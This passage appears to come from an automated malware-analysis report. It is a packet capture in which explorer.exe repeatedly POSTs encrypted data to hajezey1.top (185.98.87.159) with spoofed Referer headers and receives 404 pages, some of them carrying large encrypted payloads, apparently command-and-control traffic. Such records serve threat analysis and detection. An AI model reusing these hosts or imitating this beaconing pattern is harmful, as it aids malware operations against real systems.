f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 df f2 4a 0b 7d 54 7a 9c 6c 39 c0 a1 0c 5c 19 d6 63 95 be 07 3d da 9a 7e 05 22 7d e6 b2 68 60 b9 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 7b 88 4b 2e 69 81 77 af 5d c6 83 41 69 2f 14 b6 e8 95 19 6d 76 d6 60 83 70 56 3e 0f 60 7c aa 9f 50 54 0c f3 a6 eb 5a ed 33 bd 8a f1 7a 5b b4 18 20 5e 7a 14 f7 f2 26 2b e9 c4 ef 28 e8 98 eb e7 6c ba 25 8f fc da 14 79 a2 8e b9 08 90 bb 77 c6 19 2a 16 bf 43 b3 ea 3d b2 13 3b 35 02 1a 1b eb 22 f5 4e ad e8 16 83 83 6f d4 ed 3f ec c9 81 68 73 02 99 ea fc cd c3 05 d0 93 d3 23 39 01 c4 a5 c8 63 77 da 0b af bd d9 39 69 a1 99 9c 77 e8 0f 4e 8c da 06 b9 37 87 8c b4 26 b8 2c 58 32 77 6c 08 da f9 d2 eb 48 25 66 37 2d 2f f2 5e a5 27 48 84 89 ff 67 37 f9 bd a1 97 2b 86 f3 bd 98 bb 1f 77 c7 26 e1 39 c6 86 8e f0 09 af 63 9d 31 09 a8 50 13 30 7b 32 8c c9 e1 d5 c0 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 f8 3f d8 2c eb 53 43 ae 3b 97 e4 23 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da 07 22 bd c8 ac ef 3f ef b2 a9 a6 cc b4 02 47 71 f5 66 3c 3d d0 9f cb 67 14 d8 97 24 c8 b9 fc f0 d4 e8 57 2d 88 d5 74 61 b4 7b 69 ad 66 43 80 1c b7 16 db 64 73 98 f5 51 cf 39 c5 da 87 f1 7d 87 70 f3 35 43 50 11 00 ac 07 1d 02 c1 b9 5a 97 82 fd 11 41 a6 b2 84 35 ce 39 83 ce 85 91 3e 94 d4 54 e5 2f 62 a2 22 27 c6 b9 0a d7 d9 1b c5 89 10 ee 8b ba d7 62 47 d8 ae 85 3a 9d 9b e1 d5 f5 de 38 7f 98 92 ff b0 6a 05 8f a5 0a 9f 36 6f 03 62 53 b5 f8 80 99 8b 84 80 3f 1d b8 3a c0 b4 a7 a4 d0 91 46 e8 81 2f 0d 4d 76 00 94 23 94 b6 07 e8 9a 4a 17 7a c5 42 14 7e 24 a0 84 ba 8b 65 7d bb 8e da 3b 33 f2 82 6c 27 b4 e3 e4 ce fd 5f 98 3b c4 fe da 3d 8f f5 3f 78 14 42 7b f9 e8 f0 85 a5 46 e5 Data Ascii: 1f66S(SW\/iP"&&grq\|6?eIJ5~/ar"`g1Q5ih.Kw:i/+".]pW!RY8\|!@+%gt#+xQ<2P0YObyT=a'4 YU\nIXKg[Ge92)g z6@E}Wp0Mk"HI?o\|6NI[LeU[0z;+W~5=PVpGZlqV@q!Uvy_:-nD%GkKm@NQ>[J8-w,v"JG0Z"?kQTJMQId%\s$&Q#F<pvA>C/CbGB4VFv2Bbo;6HPgyPum6'NGc_,/DO9W%J}Tzl9\c=~"}h`1%@N!{K.iw]Ai/mv`pV>`\|PTZ3z[ ^z&+(l%yw*C=;5"No?hs#9cw9iwN7&,X2wlH%f7-/^'Hg7+w&9c1P0{2%#49FwX?,SC;#vddOU^=i=p.oj"?Gqf<=g$W-ta{ifCdsQ9}p5CPZA59>T/b"'bG:8j6obS?:F/Mv#JzB~$e};3l'_;=?xB{F
Oct 29, 2021 20:29:41.733289957 CEST	1607	IN	Data Raw: bb 63 eb 97 62 c6 70 d9 31 d3 48 45 72 08 8e c1 6c c4 f3 bc f0 be bf 3e 00 d0 91 8a 2d 55 76 8c 94 be 70 8d 45 69 a1 84 05 86 e8 c6 3a 1e 4e 30 c8 3f b1 dc a7 36 0d b4 24 76 f3 61 5f ca bd d3 75 2e 18 45 3b e3 34 16 54 57 74 48 8a 38 7a ea 35 51 Data Ascii: cbp1HErl>-UvpEi:N0?6$va_u.E;4TWtH8z5Q*b!F3A2 !Stw %OM:/GIaeuJYAU{l4\|Fs_B3D-BX-!,]1B]&?=mW46yH9e@
Oct 29, 2021 20:29:41.733304977 CEST	1609	IN	Data Raw: 67 72 a2 98 b8 d3 52 89 bc 8c 20 84 cb 39 fc d0 e5 ac f9 cf 3b 7a de 3e 42 79 15 7c ce b7 b1 a8 ea ad 57 95 52 5a 81 7f 29 c9 f9 dc 88 2f b7 bd fd 7d 0b 9e 67 da 03 2f dc ec 4f e6 ff 9b e3 76 f3 62 85 0b 6a ac a6 cd 84 a0 d4 12 ec 6d 80 c2 b0 b9 Data Ascii: grR 9;z>By\|WRZ)/}g/Ovbjm\|y~;m4Y`xxgoSfC6{N\-g2~*3g2g{N<OuR<>G[DsC_pl'^{\|ar)G0:RdqS=.
Oct 29, 2021 20:29:41.733321905 CEST	1610	IN	Data Raw: 7d da 8b 38 8a 86 13 07 48 99 59 83 3d 9b f5 8d 3f e3 1e 40 88 84 34 4b 44 80 0e ce a3 a7 b7 09 de 10 e6 b8 03 fa 38 17 c4 b2 b7 fd 6d 6c fe 88 6c 20 1d 9e 4d a6 62 69 b7 7a a1 6a f0 1c cf da 9c f1 64 6f 76 04 46 78 de dd 49 2b e1 b4 3e 8d 24 47 Data Ascii: }8HY=?@4KD8mll MbizjdovFxI+>$G~,@X!k*b)rG2IDAH)n(up&\|a%va7I^3/7A#5lIX!;RPi:Nx~(,qjSL\|QK oD!
Oct 29, 2021 20:29:41.733338118 CEST	1611	IN	Data Raw: eb 12 3a 1c 28 6e 5f 24 08 5b a5 35 8d 3e 23 75 c1 f7 3e b1 9a 0b d2 92 bb 22 10 1b 92 d7 78 53 f5 dc dd 4c b3 31 8d 8a 89 da b4 d0 4f 22 28 f1 dd ff 53 1a 2e c9 47 bd 1c 97 66 4c 84 55 b6 53 60 c7 a9 62 13 31 61 11 c8 31 2e 5e a8 63 f1 85 30 f7 Data Ascii: :(n_$[5>#u>"xSL1O"(S.GfLUS`b1a1.^c0dt\|R4>fEc5I$J3@2m04kwg?Ha"/3vSZ`.N@oY^].PKa~}~oV_cE3Lann4?IkpT\|Z
Oct 29, 2021 20:29:41.733352900 CEST	1613	IN	Data Raw: ef 57 94 45 f8 84 96 14 6f 74 5f 72 c0 3b e2 07 45 c1 3c d3 e5 ce a9 91 d0 32 e8 6f cd 2d f1 c0 66 c1 58 19 4a 13 c0 ca 13 28 29 b9 27 ab a8 32 ce f9 af 78 4f be 48 8a 74 17 1b 3c 00 c3 af 8a 2c e2 e1 39 ff c9 9e 0c 59 e4 be 6a 18 33 c1 b3 4c 2b Data Ascii: WEot_r;E<2o-fXJ()'2xOHt<,9Yj3L+h.~]~'lfeDzo=0bD?r2PV8gTSdHffs<WEEd/y]kdO]8?O_8{nA6$M)?u?q}rzJ'Op
Oct 29, 2021 20:29:41.733773947 CEST	1614	IN	Data Raw: 56 78 a0 d2 a2 49 6f 98 2a a1 84 fb d1 cf 69 a5 e5 cd d0 82 5e a7 51 e1 4f 80 6d 7a 14 85 48 7a b3 53 aa bb a6 dc 19 71 77 48 2a c5 5c cd 79 23 a9 f5 10 db c9 79 8f 57 36 37 54 df 58 c5 4e 13 8e cf c4 0c c4 9b 4b e3 51 5c 65 77 65 38 47 d3 87 14 Data Ascii: VxIoi^QOmzHzSqwH\y#yW67TXNKQ\ewe8Gg=Bkj_(h1H]Y&'<I4:C%5M]Z\L6gg<']uBk$@HNJY]#jm?2000ov<`;oG>g67k%jK/fH
Oct 29, 2021 20:29:41.733792067 CEST	1616	IN	Data Raw: a8 06 0d e8 7f 36 ac 98 7b a6 ba 34 16 c6 7d 81 b3 8c 7e 38 23 52 17 70 1d 15 9e d6 21 37 6e 61 71 d1 c1 b9 f7 0a d1 c6 ac d8 54 c3 92 ae f6 5a 93 7a 16 2f 14 d2 10 94 97 a7 54 57 be c0 ed 8e 85 63 f2 13 5b ca 46 a1 67 45 38 ae d8 46 a4 c3 68 bc Data Ascii: 6{4}~8#Rp!7naqTZz/TWc[FgE8FhsW-\SpH:.Zzz%m,xnZ!xBz9Wl#%Wrv@K,Xlhi $zZC:"D1[7TMq;/jZH2:>+BD
Oct 29, 2021 20:29:41.733808041 CEST	1617	IN	Data Raw: 70 ce c3 dc 47 33 dd 00 77 45 14 03 8c f0 3c ba bd 33 e1 ce ed 01 49 21 56 75 6a ac dd f8 b8 4a bc 5e b3 12 ae d5 21 c4 2b 71 57 e6 5b 28 9a 48 62 29 78 6c 46 82 34 bd 4d 64 79 14 b1 23 ce 19 76 b6 49 22 23 04 63 11 de d6 73 73 6b dd 23 c0 04 09 Data Ascii: pG3wE<3I!VujJ^!+qW[(Hb)xlF4Mdy#vI"#cssk#rr)2t&;Rv5gDM2hSEuud6\|m{Z9[.Fi=(H'E+GsV39(%@YFPQjoiIvU8abIsOTv<G6A
Oct 29, 2021 20:29:41.733824015 CEST	1618	IN	Data Raw: 31 f2 df 81 47 90 c0 26 f1 c3 34 6b ea 51 b7 be 41 2c b4 28 61 17 14 c6 fc d0 de d5 58 00 d4 35 31 dc 52 da f4 0b 45 6a d4 3b 8f 09 f8 15 1d 61 2e e0 21 8b f3 1a 1c 65 14 cd 5f 2b 10 f2 a2 26 90 3c 39 7f bb 38 66 62 02 e7 9b ea 69 4d 3c 8e fe 45 Data Ascii: 1G&4kQA,(aX51REj;a.!e_+&<98fbiM<E9#eJ@\dPYT]\ &g+rlgK@<Rq\|E}e;W("+x${WBLD ro--.suEz&%ui/\kMSL{r\|b
Oct 29, 2021 20:29:41.785907030 CEST	1620	IN	Data Raw: 5e ae 55 64 b9 22 9f b7 dd 7c b7 23 e8 8e c6 ed fc 8c 1e 15 44 14 13 3e f5 40 ab f1 a3 58 28 57 da 2b 77 3d ed ea 9d 47 8c 2e e7 80 a1 5f f5 de 62 dc b1 48 7e 87 39 df c7 72 3a fb 6f fc f2 92 5d df 76 21 c3 6d c0 df 94 e3 71 10 73 81 88 b7 18 8a Data Ascii: ^Ud"\|#D>@X(W+w=G._bH~9r:o]v!mqs:%vmC0/4wqE3Vd3~bSp?H>7J 9f Ou`$@>7N#fPa0/\|;"a7Pq{

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.7	49767	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:43.683329105 CEST	2137	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hfhoss.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 268 Host: hajezey1.top
Oct 29, 2021 20:29:43.683334112 CEST	2138	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 98 66 5d 02 c9 a1 c1 64 4a 9b a7 35 Data Ascii: 7v:7AFTmwmwu$f]dJ5XD!;cuCI*pz<5nbvtmWwH4Mj`-0tN5n1AeM2UOdtRYMVK3TKDcx\hsN</vjv>&
Oct 29, 2021 20:29:43.760889053 CEST	2138	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:43 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.7	49768	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:43.854120016 CEST	2139	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hgdpvqs.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 142 Host: hajezey1.top
Oct 29, 2021 20:29:43.854136944 CEST	2139	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 99 66 5d 02 c8 a1 c1 64 50 df a6 75 Data Ascii: 7v:7AFTmwmwu$f]dPuarMCK)JT0[}s{uNhR6X47Fl2zHP
Oct 29, 2021 20:29:43.934627056 CEST	2140	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:43 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.7	49769	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:44.016474009 CEST	2140	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ryqdxjurg.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 280 Host: hajezey1.top
Oct 29, 2021 20:29:44.016479015 CEST	2141	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 96 66 5d 02 c8 a1 c1 64 04 dd 82 7c Data Ascii: 7v:7AFTmwmwu$f]d\|Z!atHZeb?{A0Sq9#pRWQM:h,YsdHDv%<(c*B)q&Pqm\|@#rH<pN4;LE;XFp,u$ce{('2
Oct 29, 2021 20:29:44.097450018 CEST	2141	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:44 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.7	49770	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:44.185791969 CEST	2142	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jjrxemk.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 173 Host: hajezey1.top
Oct 29, 2021 20:29:44.185859919 CEST	2142	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 97 66 5d 02 c8 a1 c1 64 02 92 c6 01 Data Ascii: 7v:7AFTmwmwu$f]d+ooZ3!%a.U1";U.[b>}K])yJIV@g55'g3*g
Oct 29, 2021 20:29:44.264659882 CEST	2144	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:44 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c d8 21 bd 40 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 67 74 d2 5f 9f 87 cd 29 80 78 51 a1 a2 8f 4c 3d d8 1c e0 32 02 50 08 e8 df e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 e1 8a 20 59 55 11 5c 03 25 6e ab 49 11 a0 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 5d ca cc 8a 44 d8 06 0e 45 67 14 7d 63 fb e0 04 89 f9 d4 57 80 90 70 89 ec 24 4d 6b 0e e1 a2 22 48 32 da 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 83 97 5f 96 da 19 d1 3a 2d 12 44 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 7d 87 4a 04 38 cd 78 14 2c de e8 b1 14 c5 76 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 c2 49 64 cd 25 5c 8d b7 1d 24 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 a5 32 b2 be 34 56 9b 46 76 99 86 11 00 83 32 42 62 6e c9 ae d4 15 95 36 e1 48 50 67 7e 50 b8 81 be e5 81 de e3 75 6d 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 df f2 4a 0b 7d 54 7a 9c 6c 39 c0 a1 0c 5c 19 d6 63 95 be 07 3d da 9a 7e 05 22 7d e6 b2 68 60 b9 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 7b 88 4b 2e 69 81 77 af 5d c6 83 41 69 2f 14 b6 e8 95 19 6d 76 d6 60 83 70 56 3e 0f 60 7c aa 9f 50 54 0c f3 a6 eb 5a ed 33 bd 8a f1 7a 5b b4 18 20 5e 7a 14 f7 f2 26 2b e9 c4 ef 28 e8 98 eb e7 6c ba 25 8f fc da 14 79 a2 8e b9 08 90 bb 77 c6 19 2a 16 bf 43 b3 ea 3d b2 13 3b 35 02 1a 1b eb 22 f5 4e ad e8 16 83 83 6f d4 ed 3f ec c9 81 68 73 02 99 ea fc cd c3 05 d0 93 d3 23 39 01 c4 a5 c8 63 77 da 0b af bd d9 39 69 a1 99 9c 77 e8 0f 4e 8c da 06 b9 37 87 8c b4 26 b8 2c 58 32 77 6c 08 da f9 d2 eb 48 25 66 37 2d 2f f2 5e a5 27 48 84 89 ff 67 37 f9 bd a1 97 2b 86 f3 bd 98 bb 1f 77 c7 26 e1 39 c6 86 8e f0 09 af 63 9d 31 09 a8 50 13 30 7b 32 8c c9 e1 d5 c0 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 f8 3f d8 2c eb 53 43 ae 3b 97 e4 23 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da 07 22 bd c8 ac ef 3f ef b2 a9 a6 cc b4 02 47 71 f5 66 3c 3d d0 9f cb 67 14 d8 97 24 c8 b9 fc f0 d4 e8 57 2d 88 d5 74 61 b4 7b 69 ad 66 43 80 1c b7 16 db 64 73 98 f5 51 cf 39 c5 da 87 f1 7d 87 70 f3 35 43 50 11 00 ac 07 1d 02 c1 b9 5a 97 82 fd 11 41 a6 b2 84 35 ce 39 83 ce 85 91 3e 94 d4 54 e5 2f 62 a2 22 27 c6 b9 0a d7 d9 1b c5 89 10 ee 8b ba d7 62 47 d8 ae 85 3a 9d 9b e1 d5 f5 de 38 7f 98 92 ff b0 6a 05 8f a5 0a 9f 36 6f 03 62 53 b5 f8 80 99 8b 84 80 3f 1d b8 3a c0 b4 a7 a4 d0 91 46 e8 81 2f 0d 4d 76 00 94 23 94 b6 07 e8 9a 4a 17 7a c5 42 14 7e 24 a0 84 ba 8b 65 7d bb 8e da 3b 33 f2 82 6c 27 b4 e3 e4 ce fd 5f 98 3b c4 fe da 3d 8f f5 3f 78 14 42 7b f9 e8 f0 85 a5 46 e5 Data Ascii: 1f66S(SW\/iP"&&grq\|6?eIJ5~/ar"`g1Q5ih.Kw:i/+".]pW!RY8\|!@+%gt_)xQL=2P0YObyT=a'4 YU\%nIXKg[Ge92)g z6]DEg}cWp$Mk"H2I?o\|6NI[LeU[0z;+W~5=PVpGZlqV@q!Uvy_:-D%GkKm@NQ>[}J8x,v"JG0Z"?kQTJMQId%\$&Q#F<pvA>C/CbGB24VFv2Bbn6HPg~Pum6'NGc_,/DO9W%J}Tzl9\c=~"}h`1%@N!{K.iw]Ai/mv`pV>`\|PTZ3z[ ^z&+(l%yw*C=;5"No?hs#9cw9iwN7&,X2wlH%f7-/^'Hg7+w&9c1P0{2%#49FwX?,SC;#vddOU^=i=p.oj"?Gqf<=g$W-ta{ifCdsQ9}p5CPZA59>T/b"'bG:8j6obS?:F/Mv#JzB~$e};3l'_;=?xB{F
Oct 29, 2021 20:29:44.264703989 CEST	2145	IN	Data Raw: bb 63 eb 97 62 c6 70 d9 31 d3 48 45 72 08 8e c1 6c c4 f3 bc f0 be bf 3e 00 d0 91 8a 2d 55 76 8c 94 be 70 8d 45 69 a1 84 05 86 e8 c6 3a 1e 4e 30 c8 3f b1 dc a7 36 0d b4 24 76 f3 61 5f ca bd d3 75 2e 18 45 3b e3 34 16 54 57 74 48 8a 38 7a ea 35 51 Data Ascii: cbp1HErl>-UvpEi:N0?6$va_u.E;4TWtH8z5Q*b!F3A2 !Stw %OM:/GIaeuJYAU{l4\|Fs_B3D-BX-!,]1B]&?=mW46yH9e@
Oct 29, 2021 20:29:44.264729977 CEST	2146	IN	Data Raw: 67 72 a2 98 b8 d3 52 89 bc 8c 20 84 cb 39 fc d0 e5 ac f9 cf 3b 7a de 3e 42 79 15 7c ce b7 b1 a8 ea ad 57 95 52 5a 81 7f 29 c9 f9 dc 88 2f b7 bd fd 7d 0b 9e 67 da 03 2f dc ec 4f e6 ff 9b e3 76 f3 62 85 0b 6a ac a6 cd 84 a0 d4 12 ec 6d 80 c2 b0 b9 Data Ascii: grR 9;z>By\|WRZ)/}g/Ovbjm\|y~;m4Y`xxgoSfC6{N\-g2~*3g2g{N<OuR<>G[DsC_pl'^{\|ar)G0:RdqS=.
Oct 29, 2021 20:29:44.264753103 CEST	2148	IN	Data Raw: 7d da 8b 38 8a 86 13 07 48 99 59 83 3d 9b f5 8d 3f e3 1e 40 88 84 34 4b 44 80 0e ce a3 a7 b7 09 de 10 e6 b8 03 fa 38 17 c4 b2 b7 fd 6d 6c fe 88 6c 20 1d 9e 4d a6 62 69 b7 7a a1 6a f0 1c cf da 9c f1 64 6f 76 04 46 78 de dd 49 2b e1 b4 3e 8d 24 47 Data Ascii: }8HY=?@4KD8mll MbizjdovFxI+>$G~,@X!k*b)rG2IDAH)n(up&\|a%va7I^3/7A#5lIX!;RPi:Nx~(,qjSL\|QK oD!
Oct 29, 2021 20:29:44.264776945 CEST	2149	IN	Data Raw: eb 12 3a 1c 28 6e 5f 24 08 5b a5 35 8d 3e 23 75 c1 f7 3e b1 9a 0b d2 92 bb 22 10 1b 92 d7 78 53 f5 dc dd 4c b3 31 8d 8a 89 da b4 d0 4f 22 28 f1 dd ff 53 1a 2e c9 47 bd 1c 97 66 4c 84 55 b6 53 60 c7 a9 62 13 31 61 11 c8 31 2e 5e a8 63 f1 85 30 f7 Data Ascii: :(n_$[5>#u>"xSL1O"(S.GfLUS`b1a1.^c0dt\|R4>fEc5I$J3@2m04kwg?Ha"/3vSZ`.N@oY^].PKa~}~oV_cE3Lann4?IkpT\|Z
